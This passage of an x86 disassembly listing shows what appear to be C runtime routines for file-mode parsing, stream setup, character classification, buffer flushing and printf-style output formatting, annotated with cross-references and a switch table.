loc_41F254 sub eax, 2Bh jz short loc_41F23E sub eax, 19h jz short loc_41F234 sub eax, 0Eh jz short loc_41F21F dec eax jnz loc_41F2B6 cmp [ebp+var_4], ebx jnz loc_41F2B6 mov [ebp+var_4], 1 or ecx, 20h jmp short loc_41F1D6 ; --------------------------------------------------------------------------- loc_41F21F: ; CODE XREF: sub_41F192+6Fj cmp [ebp+var_4], ebx jnz loc_41F2B6 mov [ebp+var_4], 1 or ecx, 10h jmp short loc_41F1D6 ; --------------------------------------------------------------------------- loc_41F234: ; CODE XREF: sub_41F192+6Aj test cl, 40h jnz short loc_41F2B6 or ecx, 40h jmp short loc_41F1D6 ; --------------------------------------------------------------------------- loc_41F23E: ; CODE XREF: sub_41F192+65j test cl, 2 jnz short loc_41F2B6 and ecx, 0FFFFFFFEh and esi, 0FFFFFFFCh or ecx, 2 or esi, 80h jmp short loc_41F1D6 ; --------------------------------------------------------------------------- loc_41F254: ; CODE XREF: sub_41F192+60j mov eax, 1000h test ecx, eax jnz short loc_41F2B6 or ecx, eax jmp loc_41F1D6 ; --------------------------------------------------------------------------- loc_41F264: ; CODE XREF: sub_41F192+5Ej sub eax, 62h jz short loc_41F2B1 dec eax jz short loc_41F29A sub eax, 0Bh jz short loc_41F283 sub eax, 6 jnz short loc_41F2B6 test ch, 0C0h jnz short loc_41F2B6 or ch, 40h jmp loc_41F1D6 ; --------------------------------------------------------------------------- loc_41F283: ; CODE XREF: sub_41F192+DDj cmp [ebp+var_8], ebx jnz short loc_41F2B6 mov [ebp+var_8], 1 and esi, 0FFFFBFFFh jmp loc_41F1D6 ; --------------------------------------------------------------------------- loc_41F29A: ; CODE XREF: sub_41F192+D8j cmp [ebp+var_8], ebx jnz short loc_41F2B6 mov [ebp+var_8], 1 or esi, 4000h jmp loc_41F1D6 ; --------------------------------------------------------------------------- loc_41F2B1: ; CODE XREF: sub_41F192+D5j test ch, 0C0h jz short loc_41F2BD loc_41F2B6: ; CODE XREF: sub_41F192+72j ; sub_41F192+7Bj ... xor edx, edx jmp loc_41F1D6 ; --------------------------------------------------------------------------- loc_41F2BD: ; CODE XREF: sub_41F192+122j or ch, 80h jmp loc_41F1D6 ; --------------------------------------------------------------------------- loc_41F2C5: ; CODE XREF: sub_41F192+4Aj ; sub_41F192+52j push 1A4h push [ebp+arg_8] push ecx push [ebp+arg_0] call sub_423896 mov ecx, eax add esp, 10h cmp ecx, ebx jge short loc_41F2E3 loc_41F2DF: ; CODE XREF: sub_41F192+25j xor eax, eax jmp short loc_41F2FD ; --------------------------------------------------------------------------- loc_41F2E3: ; CODE XREF: sub_41F192+14Bj mov eax, [ebp+arg_C] inc dword_4E15C8 mov [eax+0Ch], esi mov [eax+4], ebx mov [eax], ebx mov [eax+8], ebx mov [eax+1Ch], ebx mov [eax+10h], ecx loc_41F2FD: ; CODE XREF: sub_41F192+14Fj pop edi pop esi pop ebx leave retn sub_41F192 endp ; =============== S U B R O U T I N E ======================================= sub_41F302 proc near ; CODE XREF: sub_41BB98p mov edx, dword_4E2940 push ebx push ebp push esi xor ebp, ebp xor esi, esi xor eax, eax cmp edx, ebp push edi jle short loc_41F373 mov ebx, dword_4E1924 mov edi, ebx loc_41F31E: ; CODE XREF: sub_41F302+2Ej mov ecx, [edi] cmp ecx, ebp jz short loc_41F339 test byte ptr [ecx+0Ch], 83h jz short loc_41F334 inc eax add edi, 4 cmp eax, edx jl short loc_41F31E jmp short loc_41F373 ; --------------------------------------------------------------------------- loc_41F334: ; CODE XREF: sub_41F302+26j mov esi, [ebx+eax*4] jmp short loc_41F35D ; --------------------------------------------------------------------------- loc_41F339: ; CODE XREF: sub_41F302+20j mov edi, eax push 20h shl edi, 2 call sub_41BBCB pop ecx mov ecx, dword_4E1924 mov [edi+ecx], eax mov eax, dword_4E1924 mov edi, [edi+eax] cmp edi, ebp jz short loc_41F373 mov esi, edi loc_41F35D: ; CODE XREF: sub_41F302+35j cmp esi, ebp jz short loc_41F373 or dword ptr [esi+10h], 0FFFFFFFFh mov [esi+4], ebp mov [esi+0Ch], ebp mov [esi+8], ebp mov [esi], ebp mov [esi+1Ch], ebp loc_41F373: ; CODE XREF: sub_41F302+12j ; sub_41F302+30j ... mov eax, esi pop edi pop esi pop ebp pop ebx retn sub_41F302 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41F37A proc near ; CODE XREF: sub_41BD9E+17p ; sub_41BD9E+58p ... var_4 = byte ptr -4 var_3 = byte ptr -3 var_2 = byte ptr -2 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx mov eax, [ebp+arg_0] lea ecx, [eax+1] cmp ecx, 100h ja short loc_41F398 mov ecx, off_442560 movzx eax, word ptr [ecx+eax*2] jmp short loc_41F3EA ; --------------------------------------------------------------------------- loc_41F398: ; CODE XREF: sub_41F37A+10j mov ecx, eax push esi mov esi, off_442560 sar ecx, 8 movzx edx, cl test byte ptr [esi+edx*2+1], 80h pop esi jz short loc_41F3BD and [ebp+var_2], 0 mov [ebp+var_4], cl mov [ebp+var_3], al push 2 jmp short loc_41F3C6 ; --------------------------------------------------------------------------- loc_41F3BD: ; CODE XREF: sub_41F37A+33j and [ebp+var_3], 0 mov [ebp+var_4], al push 1 loc_41F3C6: ; CODE XREF: sub_41F37A+41j pop eax lea ecx, [ebp+arg_0+2] push 1 push 0 push 0 push ecx push eax lea eax, [ebp+var_4] push eax push 1 call loc_423B4F add esp, 1Ch test eax, eax jnz short loc_41F3E6 leave retn ; --------------------------------------------------------------------------- loc_41F3E6: ; CODE XREF: sub_41F37A+68j movzx eax, word ptr [ebp+arg_0+2] loc_41F3EA: ; CODE XREF: sub_41F37A+1Cj and eax, [ebp+arg_4] leave retn sub_41F37A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41F3EF proc near ; CODE XREF: sub_41BF36+46p ; sub_41C030+45p ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ebx push esi mov esi, [ebp+arg_4] mov eax, [esi+0Ch] mov ebx, [esi+10h] test al, 82h jz loc_41F4F8 test al, 40h jnz loc_41F4F8 test al, 1 jz short loc_41F427 and dword ptr [esi+4], 0 test al, 10h jz loc_41F4F8 mov ecx, [esi+8] and al, 0FEh mov [esi], ecx mov [esi+0Ch], eax loc_41F427: ; CODE XREF: sub_41F3EF+20j mov eax, [esi+0Ch] and dword ptr [esi+4], 0 and [ebp+arg_4], 0 and al, 0EFh or al, 2 test ax, 10Ch mov [esi+0Ch], eax jnz short loc_41F461 cmp esi, offset dword_442B58 jz short loc_41F44F cmp esi, offset dword_442B78 jnz short loc_41F45A loc_41F44F: ; CODE XREF: sub_41F3EF+56j push ebx call sub_423C98 test eax, eax pop ecx jnz short loc_41F461 loc_41F45A: ; CODE XREF: sub_41F3EF+5Ej push esi call sub_423852 pop ecx loc_41F461: ; CODE XREF: sub_41F3EF+4Ej ; sub_41F3EF+69j test word ptr [esi+0Ch], 108h push edi jz short loc_41F4CE mov eax, [esi+8] mov edi, [esi] sub edi, eax lea ecx, [eax+1] mov [esi], ecx mov ecx, [esi+18h] dec ecx test edi, edi mov [esi+4], ecx jle short loc_41F491 push edi push eax push ebx call sub_42280E add esp, 0Ch mov [ebp+arg_4], eax jmp short loc_41F4C4 ; --------------------------------------------------------------------------- loc_41F491: ; CODE XREF: sub_41F3EF+90j cmp ebx, 0FFFFFFFFh jz short loc_41F4AC mov eax, ebx mov ecx, ebx sar eax, 5 and ecx, 1Fh mov eax, dword_4E1820[eax*4] lea eax, [eax+ecx*8] jmp short loc_41F4B1 ; --------------------------------------------------------------------------- loc_41F4AC: ; CODE XREF: sub_41F3EF+A5j mov eax, offset dword_442E40 loc_41F4B1: ; CODE XREF: sub_41F3EF+BBj test byte ptr [eax+4], 20h jz short loc_41F4C4 push 2 push 0 push ebx call sub_42261C add esp, 0Ch loc_41F4C4: ; CODE XREF: sub_41F3EF+A0j ; sub_41F3EF+C6j mov eax, [esi+8] mov cl, byte ptr [ebp+arg_0] mov [eax], cl jmp short loc_41F4E2 ; --------------------------------------------------------------------------- loc_41F4CE: ; CODE XREF: sub_41F3EF+79j push 1 lea eax, [ebp+arg_0] pop edi push edi push eax push ebx call sub_42280E add esp, 0Ch mov [ebp+arg_4], eax loc_41F4E2: ; CODE XREF: sub_41F3EF+DDj cmp [ebp+arg_4], edi pop edi jz short loc_41F4EE or dword ptr [esi+0Ch], 20h jmp short loc_41F4FD ; --------------------------------------------------------------------------- loc_41F4EE: ; CODE XREF: sub_41F3EF+F7j mov eax, [ebp+arg_0] and eax, 0FFh jmp short loc_41F500 ; --------------------------------------------------------------------------- loc_41F4F8: ; CODE XREF: sub_41F3EF+10j ; sub_41F3EF+18j ... or al, 20h mov [esi+0Ch], eax loc_41F4FD: ; CODE XREF: sub_41F3EF+FDj or eax, 0FFFFFFFFh loc_41F500: ; CODE XREF: sub_41F3EF+107j pop esi pop ebx pop ebp retn sub_41F3EF endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41F504 proc near ; CODE XREF: sub_41BF36+29p ; sub_41C030+28p ... var_248 = byte ptr -248h var_247 = byte ptr -247h var_49 = byte ptr -49h var_48 = dword ptr -48h var_44 = dword ptr -44h var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = byte ptr -38h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_16 = byte ptr -16h var_15 = byte ptr -15h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 248h push ebx push esi push edi mov edi, [ebp+arg_4] xor esi, esi mov bl, [edi] inc edi test bl, bl mov [ebp+var_C], esi mov [ebp+var_14], esi mov [ebp+arg_4], edi jz loc_41FC1D mov ecx, [ebp+var_10] xor edx, edx jmp short loc_41F538 ; --------------------------------------------------------------------------- loc_41F530: ; CODE XREF: sub_41F504+713j mov ecx, [ebp+var_10] mov esi, [ebp+var_30] xor edx, edx loc_41F538: ; CODE XREF: sub_41F504+2Aj cmp [ebp+var_14], edx jl loc_41FC1D cmp bl, 20h jl short loc_41F559 cmp bl, 78h jg short loc_41F559 movsx eax, bl mov al, byte ptr flt_42770C[eax] and eax, 0Fh jmp short loc_41F55B ; --------------------------------------------------------------------------- loc_41F559: ; CODE XREF: sub_41F504+40j ; sub_41F504+45j xor eax, eax loc_41F55B: ; CODE XREF: sub_41F504+53j movsx eax, byte_42772C[esi+eax*8] sar eax, 4 cmp eax, 7 ; switch 8 cases mov [ebp+var_30], eax ja loc_41FC0C ; default jmp off_41FC25[eax*4] ; switch jump loc_41F579: ; DATA XREF: .nsp0:off_41FC25o or [ebp+var_10], 0FFFFFFFFh ; jumptable 0041F572 case 1 mov [ebp+var_34], edx mov [ebp+var_28], edx mov [ebp+var_20], edx mov [ebp+var_1C], edx mov [ebp+var_4], edx mov [ebp+var_24], edx jmp loc_41FC0C ; default ; --------------------------------------------------------------------------- loc_41F594: ; CODE XREF: sub_41F504+6Ej ; DATA XREF: .nsp0:off_41FC25o movsx eax, bl ; jumptable 0041F572 case 2 sub eax, 20h jz short loc_41F5D7 sub eax, 3 jz short loc_41F5CE sub eax, 8 jz short loc_41F5C5 dec eax dec eax jz short loc_41F5BC sub eax, 3 jnz loc_41FC0C ; default or [ebp+var_4], 8 jmp loc_41FC0C ; default ; --------------------------------------------------------------------------- loc_41F5BC: ; CODE XREF: sub_41F504+A4j or [ebp+var_4], 4 jmp loc_41FC0C ; default ; --------------------------------------------------------------------------- loc_41F5C5: ; CODE XREF: sub_41F504+A0j or [ebp+var_4], 1 jmp loc_41FC0C ; default ; --------------------------------------------------------------------------- loc_41F5CE: ; CODE XREF: sub_41F504+9Bj or byte ptr [ebp+var_4], 80h jmp loc_41FC0C ; default ; --------------------------------------------------------------------------- loc_41F5D7: ; CODE XREF: sub_41F504+96j or [ebp+var_4], 2 jmp loc_41FC0C ; default ; --------------------------------------------------------------------------- loc_41F5E0: ; CODE XREF: sub_41F504+6Ej ; DATA XREF: .nsp0:off_41FC25o cmp bl, 2Ah ; jumptable 0041F572 case 3 jnz short loc_41F608 lea eax, [ebp+arg_8] push eax call sub_41FCE3 test eax, eax pop ecx mov [ebp+var_20], eax jge loc_41FC0C ; default or [ebp+var_4], 4 neg eax loc_41F600: ; CODE XREF: sub_41F504+111j mov [ebp+var_20], eax jmp loc_41FC0C ; default ; --------------------------------------------------------------------------- loc_41F608: ; CODE XREF: sub_41F504+DFj mov eax, [ebp+var_20] movsx ecx, bl lea eax, [eax+eax*4] lea eax, [ecx+eax*2-30h] jmp short loc_41F600 ; --------------------------------------------------------------------------- loc_41F617: ; CODE XREF: sub_41F504+6Ej ; DATA XREF: .nsp0:off_41FC25o mov [ebp+var_10], edx ; jumptable 0041F572 case 4 jmp loc_41FC0C ; default ; --------------------------------------------------------------------------- loc_41F61F: ; CODE XREF: sub_41F504+6Ej ; DATA XREF: .nsp0:off_41FC25o cmp bl, 2Ah ; jumptable 0041F572 case 5 jnz short loc_41F642 lea eax, [ebp+arg_8] push eax call sub_41FCE3 test eax, eax pop ecx mov [ebp+var_10], eax jge loc_41FC0C ; default or [ebp+var_10], 0FFFFFFFFh jmp loc_41FC0C ; default ; --------------------------------------------------------------------------- loc_41F642: ; CODE XREF: sub_41F504+11Ej lea eax, [ecx+ecx*4] movsx ecx, bl lea eax, [ecx+eax*2-30h] mov [ebp+var_10], eax jmp loc_41FC0C ; default ; --------------------------------------------------------------------------- loc_41F654: ; CODE XREF: sub_41F504+6Ej ; DATA XREF: .nsp0:off_41FC25o cmp bl, 49h ; jumptable 0041F572 case 6 jz short loc_41F687 cmp bl, 68h jz short loc_41F67E cmp bl, 6Ch jz short loc_41F675 cmp bl, 77h jnz loc_41FC0C ; default or byte ptr [ebp+var_4+1], 8 jmp loc_41FC0C ; default ; --------------------------------------------------------------------------- loc_41F675: ; CODE XREF: sub_41F504+15Dj or [ebp+var_4], 10h jmp loc_41FC0C ; default ; --------------------------------------------------------------------------- loc_41F67E: ; CODE XREF: sub_41F504+158j or [ebp+var_4], 20h jmp loc_41FC0C ; default ; --------------------------------------------------------------------------- loc_41F687: ; CODE XREF: sub_41F504+153j cmp byte ptr [edi], 36h jnz short loc_41F6A0 cmp byte ptr [edi+1], 34h jnz short loc_41F6A0 inc edi inc edi or byte ptr [ebp+var_4+1], 80h mov [ebp+arg_4], edi jmp loc_41FC0C ; default ; --------------------------------------------------------------------------- loc_41F6A0: ; CODE XREF: sub_41F504+186j ; sub_41F504+18Cj mov [ebp+var_30], edx loc_41F6A3: ; CODE XREF: sub_41F504+6Ej ; DATA XREF: .nsp0:off_41FC25o mov ecx, off_442560 ; jumptable 0041F572 case 0 mov [ebp+var_24], edx movzx eax, bl test byte ptr [ecx+eax*2+1], 80h jz short loc_41F6CF lea eax, [ebp+var_14] push eax push [ebp+arg_0] movsx eax, bl push eax call sub_41FC45 mov bl, [edi] add esp, 0Ch inc edi mov [ebp+arg_4], edi loc_41F6CF: ; CODE XREF: sub_41F504+1B0j lea eax, [ebp+var_14] push eax push [ebp+arg_0] movsx eax, bl push eax call sub_41FC45 add esp, 0Ch jmp loc_41FC0C ; default ; --------------------------------------------------------------------------- loc_41F6E7: ; CODE XREF: sub_41F504+6Ej ; DATA XREF: .nsp0:off_41FC25o movsx eax, bl ; jumptable 0041F572 case 7 cmp eax, 67h jg loc_41F90F cmp eax, 65h jge loc_41F792 cmp eax, 58h jg loc_41F7F0 jz loc_41F983 sub eax, 43h jz loc_41F7B3 dec eax dec eax jz short loc_41F788 dec eax dec eax jz short loc_41F788 sub eax, 0Ch jnz loc_41FB0E test word ptr [ebp+var_4], 830h jnz short loc_41F731 or byte ptr [ebp+var_4+1], 8 loc_41F731: ; CODE XREF: sub_41F504+227j ; sub_41F504+42Aj mov esi, [ebp+var_10] cmp esi, 0FFFFFFFFh jnz short loc_41F73E mov esi, 7FFFFFFFh loc_41F73E: ; CODE XREF: sub_41F504+233j lea eax, [ebp+arg_8] push eax call sub_41FCE3 test word ptr [ebp+var_4], 810h pop ecx mov ecx, eax mov [ebp+var_8], ecx jz loc_41F957 test ecx, ecx jnz short loc_41F766 mov ecx, off_44277C mov [ebp+var_8], ecx loc_41F766: ; CODE XREF: sub_41F504+257j mov [ebp+var_24], 1 mov eax, ecx loc_41F76F: ; CODE XREF: sub_41F504+282j mov edx, esi dec esi test edx, edx jz loc_41F94E cmp word ptr [eax], 0 jz loc_41F94E inc eax inc eax jmp short loc_41F76F ; --------------------------------------------------------------------------- loc_41F788: ; CODE XREF: sub_41F504+212j ; sub_41F504+216j mov [ebp+var_34], 1 add bl, 20h loc_41F792: ; CODE XREF: sub_41F504+1F2j or [ebp+var_4], 40h lea edi, [ebp+var_248] cmp ecx, edx mov [ebp+var_8], edi jge loc_41F876 mov [ebp+var_10], 6 jmp loc_41F884 ; --------------------------------------------------------------------------- loc_41F7B3: ; CODE XREF: sub_41F504+20Aj test word ptr [ebp+var_4], 830h jnz short loc_41F7BF or byte ptr [ebp+var_4+1], 8 loc_41F7BF: ; CODE XREF: sub_41F504+2B5j ; sub_41F504+2F4j test word ptr [ebp+var_4], 810h lea eax, [ebp+arg_8] push eax jz short loc_41F806 call sub_41FD00 push eax lea eax, [ebp+var_248] push eax call sub_423CBE add esp, 0Ch mov [ebp+var_C], eax test eax, eax jge short loc_41F819 mov [ebp+var_28], 1 jmp short loc_41F819 ; --------------------------------------------------------------------------- loc_41F7F0: ; CODE XREF: sub_41F504+1FBj sub eax, 5Ah jz short loc_41F827 sub eax, 9 jz short loc_41F7BF dec eax jz loc_41F9E9 jmp loc_41FB0E ; --------------------------------------------------------------------------- loc_41F806: ; CODE XREF: sub_41F504+2C5j call sub_41FCE3 pop ecx mov [ebp+var_248], al mov [ebp+var_C], 1 loc_41F819: ; CODE XREF: sub_41F504+2E1j ; sub_41F504+2EAj lea eax, [ebp+var_248] mov [ebp+var_8], eax jmp loc_41FB0E ; --------------------------------------------------------------------------- loc_41F827: ; CODE XREF: sub_41F504+2EFj lea eax, [ebp+arg_8] push eax call sub_41FCE3 test eax, eax pop ecx jz short loc_41F868 mov ecx, [eax+4] test ecx, ecx jz short loc_41F868 test byte ptr [ebp+var_4+1], 8 jz short loc_41F859 movsx eax, word ptr [eax] shr eax, 1 mov [ebp+var_8], ecx mov [ebp+var_C], eax mov [ebp+var_24], 1 jmp loc_41FB0E ; --------------------------------------------------------------------------- loc_41F859: ; CODE XREF: sub_41F504+33Cj and [ebp+var_24], 0 mov [ebp+var_8], ecx movsx eax, word ptr [eax] jmp loc_41FB0B ; --------------------------------------------------------------------------- loc_41F868: ; CODE XREF: sub_41F504+32Fj ; sub_41F504+336j mov eax, off_442778 mov [ebp+var_8], eax push eax jmp loc_41F904 ; --------------------------------------------------------------------------- loc_41F876: ; CODE XREF: sub_41F504+29Dj jnz short loc_41F884 cmp bl, 67h jnz short loc_41F884 mov [ebp+var_10], 1 loc_41F884: ; CODE XREF: sub_41F504+2AAj ; sub_41F504:loc_41F876j ... mov eax, [ebp+arg_8] push [ebp+var_34] add eax, 8 mov [ebp+arg_8], eax push [ebp+var_10] mov ecx, [eax-8] mov [ebp+var_48], ecx mov eax, [eax-4] mov [ebp+var_44], eax movsx eax, bl push eax lea eax, [ebp+var_248] push eax lea eax, [ebp+var_48] push eax call off_442B08 mov esi, [ebp+var_4] add esp, 14h and esi, 80h jz short loc_41F8D6 cmp [ebp+var_10], 0 jnz short loc_41F8D6 lea eax, [ebp+var_248] push eax call off_442B14 pop ecx loc_41F8D6: ; CODE XREF: sub_41F504+3BCj ; sub_41F504+3C2j cmp bl, 67h jnz short loc_41F8ED test esi, esi jnz short loc_41F8ED lea eax, [ebp+var_248] push eax call off_442B0C pop ecx loc_41F8ED: ; CODE XREF: sub_41F504+3D5j ; sub_41F504+3D9j cmp [ebp+var_248], 2Dh jnz short loc_41F903 or byte ptr [ebp+var_4+1], 1 lea edi, [ebp+var_247] mov [ebp+var_8], edi loc_41F903: ; CODE XREF: sub_41F504+3F0j push edi loc_41F904: ; CODE XREF: sub_41F504+36Dj call sub_41B890 pop ecx jmp loc_41FB0B ; --------------------------------------------------------------------------- loc_41F90F: ; CODE XREF: sub_41F504+1E9j sub eax, 69h jz loc_41F9E9 sub eax, 5 jz loc_41F9BF dec eax jz loc_41F9AC dec eax jz short loc_41F97C sub eax, 3 jz loc_41F731 dec eax dec eax jz loc_41F9ED sub eax, 3 jnz loc_41FB0E mov [ebp+var_2C], 27h jmp short loc_41F98A ; --------------------------------------------------------------------------- loc_41F94E: ; CODE XREF: sub_41F504+270j ; sub_41F504+27Aj sub eax, ecx sar eax, 1 jmp loc_41FB0B ; --------------------------------------------------------------------------- loc_41F957: ; CODE XREF: sub_41F504+24Fj test ecx, ecx jnz short loc_41F964 mov ecx, off_442778 mov [ebp+var_8], ecx loc_41F964: ; CODE XREF: sub_41F504+455j mov eax, ecx loc_41F966: ; CODE XREF: sub_41F504+46Fj mov edx, esi dec esi test edx, edx jz short loc_41F975 cmp byte ptr [eax], 0 jz short loc_41F975 inc eax jmp short loc_41F966 ; --------------------------------------------------------------------------- loc_41F975: ; CODE XREF: sub_41F504+467j ; sub_41F504+46Cj sub eax, ecx jmp loc_41FB0B ; --------------------------------------------------------------------------- loc_41F97C: ; CODE XREF: sub_41F504+425j mov [ebp+var_10], 8 loc_41F983: ; CODE XREF: sub_41F504+201j mov [ebp+var_2C], 7 loc_41F98A: ; CODE XREF: sub_41F504+448j test byte ptr [ebp+var_4], 80h mov [ebp+var_C], 10h jz short loc_41F9F4 mov al, byte ptr [ebp+var_2C] mov [ebp+var_16], 30h add al, 51h mov [ebp+var_1C], 2 mov [ebp+var_15], al jmp short loc_41F9F4 ; --------------------------------------------------------------------------- loc_41F9AC: ; CODE XREF: sub_41F504+41Ej test byte ptr [ebp+var_4], 80h mov [ebp+var_C], 8 jz short loc_41F9F4 or byte ptr [ebp+var_4+1], 2 jmp short loc_41F9F4 ; --------------------------------------------------------------------------- loc_41F9BF: ; CODE XREF: sub_41F504+417j lea eax, [ebp+arg_8] push eax call sub_41FCE3 test byte ptr [ebp+var_4], 20h pop ecx jz short loc_41F9D8 mov cx, word ptr [ebp+var_14] mov [eax], cx jmp short loc_41F9DD ; --------------------------------------------------------------------------- loc_41F9D8: ; CODE XREF: sub_41F504+4C9j mov ecx, [ebp+var_14] mov [eax], ecx loc_41F9DD: ; CODE XREF: sub_41F504+4D2j mov [ebp+var_28], 1 jmp loc_41FC0C ; default ; --------------------------------------------------------------------------- loc_41F9E9: ; CODE XREF: sub_41F504+2F7j ; sub_41F504+40Ej or [ebp+var_4], 40h loc_41F9ED: ; CODE XREF: sub_41F504+432j mov [ebp+var_C], 0Ah loc_41F9F4: ; CODE XREF: sub_41F504+491j ; sub_41F504+4A6j ... test byte ptr [ebp+var_4+1], 80h jz short loc_41FA06 lea eax, [ebp+arg_8] push eax call sub_41FCF0 pop ecx jmp short loc_41FA47 ; --------------------------------------------------------------------------- loc_41FA06: ; CODE XREF: sub_41F504+4F4j test byte ptr [ebp+var_4], 20h jz short loc_41FA2D test byte ptr [ebp+var_4], 40h lea eax, [ebp+arg_8] push eax jz short loc_41FA22 call sub_41FCE3 pop ecx movsx eax, ax loc_41FA1F: ; CODE XREF: sub_41F504+527j ; sub_41F504+539j cdq jmp short loc_41FA47 ; --------------------------------------------------------------------------- loc_41FA22: ; CODE XREF: sub_41F504+510j call sub_41FCE3 pop ecx movzx eax, ax jmp short loc_41FA1F ; --------------------------------------------------------------------------- loc_41FA2D: ; CODE XREF: sub_41F504+506j test byte ptr [ebp+var_4], 40h lea eax, [ebp+arg_8] push eax jz short loc_41FA3F call sub_41FCE3 pop ecx jmp short loc_41FA1F ; --------------------------------------------------------------------------- loc_41FA3F: ; CODE XREF: sub_41F504+531j call sub_41FCE3 pop ecx xor edx, edx loc_41FA47: ; CODE XREF: sub_41F504+500j ; sub_41F504+51Cj test byte ptr [ebp+var_4], 40h jz short loc_41FA68 test edx, edx jg short loc_41FA68 jl short loc_41FA57 test eax, eax jnb short loc_41FA68 loc_41FA57: ; CODE XREF: sub_41F504+54Dj neg eax adc edx, 0 mov esi, eax neg edx or byte ptr [ebp+var_4+1], 1 mov edi, edx jmp short loc_41FA6C ; --------------------------------------------------------------------------- loc_41FA68: ; CODE XREF: sub_41F504+547j ; sub_41F504+54Bj ... mov esi, eax mov edi, edx loc_41FA6C: ; CODE XREF: sub_41F504+562j test byte ptr [ebp+var_4+1], 80h jnz short loc_41FA75 and edi, 0 loc_41FA75: ; CODE XREF: sub_41F504+56Cj cmp [ebp+var_10], 0 jge short loc_41FA84 mov [ebp+var_10], 1 jmp short loc_41FA88 ; --------------------------------------------------------------------------- loc_41FA84: ; CODE XREF: sub_41F504+575j and [ebp+var_4], 0FFFFFFF7h loc_41FA88: ; CODE XREF: sub_41F504+57Ej mov eax, esi or eax, edi jnz short loc_41FA92 and [ebp+var_1C], 0 loc_41FA92: ; CODE XREF: sub_41F504+588j lea eax, [ebp+var_49] mov [ebp+var_8], eax loc_41FA98: ; CODE XREF: sub_41F504+5DDj mov eax, [ebp+var_10] dec [ebp+var_10] test eax, eax jg short loc_41FAA8 mov eax, esi or eax, edi jz short loc_41FAE3 loc_41FAA8: ; CODE XREF: sub_41F504+59Cj mov eax, [ebp+var_C] cdq push edx push eax push edi push esi mov [ebp+var_40], eax mov [ebp+var_3C], edx call sub_41DB50 push [ebp+var_3C] mov ebx, eax add ebx, 30h push [ebp+var_40] push edi push esi call sub_41DAE0 cmp ebx, 39h mov esi, eax mov edi, edx jle short loc_41FAD9 add ebx, [ebp+var_2C] loc_41FAD9: ; CODE XREF: sub_41F504+5D0j mov eax, [ebp+var_8] dec [ebp+var_8] mov [eax], bl jmp short loc_41FA98 ; --------------------------------------------------------------------------- loc_41FAE3: ; CODE XREF: sub_41F504+5A2j lea eax, [ebp+var_49] sub eax, [ebp+var_8] inc [ebp+var_8] test byte ptr [ebp+var_4+1], 2 mov [ebp+var_C], eax jz short loc_41FB0E mov ecx, [ebp+var_8] cmp byte ptr [ecx], 30h jnz short loc_41FB01 test eax, eax jnz short loc_41FB0E loc_41FB01: ; CODE XREF: sub_41F504+5F7j dec [ebp+var_8] inc eax mov ecx, [ebp+var_8] mov byte ptr [ecx], 30h loc_41FB0B: ; CODE XREF: sub_41F504+35Fj ; sub_41F504+406j ... mov [ebp+var_C], eax loc_41FB0E: ; CODE XREF: sub_41F504+21Bj ; sub_41F504+2FDj ... cmp [ebp+var_28], 0 jnz loc_41FC0C ; default mov ebx, [ebp+var_4] test bl, 40h jz short loc_41FB46 test bh, 1 jz short loc_41FB2B mov [ebp+var_16], 2Dh jmp short loc_41FB3F ; --------------------------------------------------------------------------- loc_41FB2B: ; CODE XREF: sub_41F504+61Fj test bl, 1 jz short loc_41FB36 mov [ebp+var_16], 2Bh jmp short loc_41FB3F ; --------------------------------------------------------------------------- loc_41FB36: ; CODE XREF: sub_41F504+62Aj test bl, 2 jz short loc_41FB46 mov [ebp+var_16], 20h loc_41FB3F: ; CODE XREF: sub_41F504+625j ; sub_41F504+630j mov [ebp+var_1C], 1 loc_41FB46: ; CODE XREF: sub_41F504+61Aj ; sub_41F504+635j mov esi, [ebp+var_20] sub esi, [ebp+var_1C] sub esi, [ebp+var_C] test bl, 0Ch jnz short loc_41FB66 lea eax, [ebp+var_14] push eax push [ebp+arg_0] push esi push 20h call sub_41FC7A add esp, 10h loc_41FB66: ; CODE XREF: sub_41F504+64Ej lea eax, [ebp+var_14] push eax lea eax, [ebp+var_16] push [ebp+arg_0] push [ebp+var_1C] push eax call sub_41FCAB add esp, 10h test bl, 8 jz short loc_41FB98 test bl, 4 jnz short loc_41FB98 lea eax, [ebp+var_14] push eax push [ebp+arg_0] push esi push 30h call sub_41FC7A add esp, 10h loc_41FB98: ; CODE XREF: sub_41F504+67Bj ; sub_41F504+680j cmp [ebp+var_24], 0 jz short loc_41FBDF cmp [ebp+var_C], 0 jle short loc_41FBDF mov eax, [ebp+var_C] mov ebx, [ebp+var_8] lea edi, [eax-1] loc_41FBAD: ; CODE XREF: sub_41F504+6D7j mov ax, [ebx] inc ebx push eax lea eax, [ebp+var_38] push eax inc ebx call sub_423CBE pop ecx test eax, eax pop ecx jle short loc_41FBF4 lea ecx, [ebp+var_14] push ecx push [ebp+arg_0] push eax lea eax, [ebp+var_38] push eax call sub_41FCAB add esp, 10h mov eax, edi dec edi test eax, eax jnz short loc_41FBAD jmp short loc_41FBF4 ; --------------------------------------------------------------------------- loc_41FBDF: ; CODE XREF: sub_41F504+698j ; sub_41F504+69Ej lea eax, [ebp+var_14] push eax push [ebp+arg_0] push [ebp+var_C] push [ebp+var_8] call sub_41FCAB add esp, 10h loc_41FBF4: ; CODE XREF: sub_41F504+6BCj ; sub_41F504+6D9j test byte ptr [ebp+var_4], 4 jz short loc_41FC0C ; default lea eax, [ebp+var_14] push eax push [ebp+arg_0] push esi push 20h call sub_41FC7A add esp, 10h loc_41FC0C: ; CODE XREF: sub_41F504+68j ; sub_41F504+8Bj ... mov edi, [ebp+arg_4] ; default mov bl, [edi] inc edi test bl, bl mov [ebp+arg_4], edi jnz loc_41F530 loc_41FC1D: ; CODE XREF: sub_41F504+1Fj ; sub_41F504+37j mov eax, [ebp+var_14] pop edi pop esi pop ebx leave retn sub_41F504 endp ; 